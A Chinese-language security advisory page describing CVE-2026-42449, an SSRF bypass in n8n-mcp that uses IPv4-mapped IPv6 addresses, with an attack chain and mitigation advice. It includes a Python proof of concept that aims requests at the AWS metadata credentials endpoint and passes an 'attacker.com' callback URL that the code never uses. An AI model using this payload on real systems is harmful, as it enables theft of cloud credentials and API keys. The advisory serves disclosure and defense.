IPBUF安全漏洞报告
English
CVE-2026-42449 CVSS 8.5 高危

CVE-2026-42449 n8n-mcp SSRF漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-42449
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n-mcp

相关标签

SSRFn8n-mcpIPv6 Bypass信息泄露

漏洞概述

n8n-mcp是一个为AI助手提供访问n8n节点文档的MCP服务器。在2.47.4至2.47.13版本中,由于SDK中的同步URL验证器缺少IPv6检查,导致IPv4映射的IPv6地址(如::ffff:169.254.169.254)可以绕过云元数据、本地主机和私有IP范围的检查。攻击者可以通过提供恶意n8nApiUrl值,导致服务器向云元数据端点或内部网络发起HTTP请求,造成非盲SSRF攻击,且n8nApiKey会被转发到攻击者控制的目标。

技术细节

该漏洞存在于n8n-mcp的SDK嵌入路径中,具体涉及N8NDocumentationMCPServer构造函数、getN8nApiClient()和validateInstanceContext()方法。核心问题在于SSRFProtection.validateUrlSync()同步URL验证器在实现时未包含IPv6地址的校验逻辑。虽然该验证器旨在阻止对云元数据端点(如AWS 169.254.169.254)、RFC1918私有网络及本地主机的访问,但攻击者可以利用IPv4映射的IPv6地址格式(例如http://[::ffff:169.254.169.254])绕过这些安全检查。当受影响的应用程序(嵌入n8n-mcp作为SDK且使用用户提供InstanceContext)处理包含此类恶意URL的请求时,会向攻击者指定的目标发起HTTP请求。值得注意的是,响应体会直接返回给调用者(非盲SSRF),且请求头中包含敏感的x-n8n-api-key,该密钥会被转发至攻击者控制的服务器,从而导致信息泄露。尽管第一方HTTP服务器部署具有第二个异步验证器validateWebhookUrl来捕获IPv6地址,但在特定SDK集成场景下该保护机制无效。

攻击链分析

STEP 1
1.侦察与准备
攻击者识别出目标使用了受影响版本的n8n-mcp SDK,且允许用户控制InstanceContext中的n8nApiUrl参数。
STEP 2
2.构造恶意载荷
攻击者构造一个包含IPv4映射IPv6地址的URL(例如http://[::ffff:169.254.169.254]),以此绕过SSRFProtection中的IPv4地址过滤检查。
STEP 3
3.执行SSRF攻击
攻击者将恶意URL作为n8nApiUrl发送给服务器。服务器端SDK解析该地址并向内部元数据服务发起请求,导致敏感信息泄露,并将API密钥转发给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssrf(target_url, attacker_callback_url): """ Exploit CVE-2026-42449 by sending a malicious IPv4-mapped IPv6 address to trigger SSRF against the cloud metadata service. """ # IPv4-mapped IPv6 address for AWS Metadata Service (169.254.169.254) # This bypasses the IPv4 checks in validateUrlSync() internal_target = "http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/" # The payload sent to the vulnerable n8n-mcp SDK endpoint # The SDK will fetch the URL provided in 'n8nApiUrl' and forward the API Key payload = { "n8nApiUrl": internal_target, "n8nApiKey": "leaked_api_key_value" } headers = { "Content-Type": "application/json" } print(f"[*] Sending SSRF payload to {target_url}") print(f"[*] Targeting internal metadata via: {internal_target}") try: # In a real scenario, this response would contain the metadata if returned to caller response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") # Check if the attacker controlled server received the request with the leaked key # (Simulated here) print("[!] Check attacker callback server for x-n8n-api-key header.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": # Example usage exploit_ssrf("http://vulnerable-instance:3000/api/mcp-endpoint", "http://attacker.com/log")

影响范围

n8n-mcp 2.47.4 - 2.47.13

防御指南

临时缓解措施
如果无法立即升级,建议用户在将URL传递给SDK之前自行进行严格的URL验证,特别要拦截IPv4映射的IPv6地址。同时,应在网络层面上限制服务器的出站流量,禁止访问内部元数据服务(如169.254.169.254)和本地回环地址。此外,应严格拒绝或过滤用户提供的n8nApiUrl参数,防止攻击者传入恶意地址。

参考链接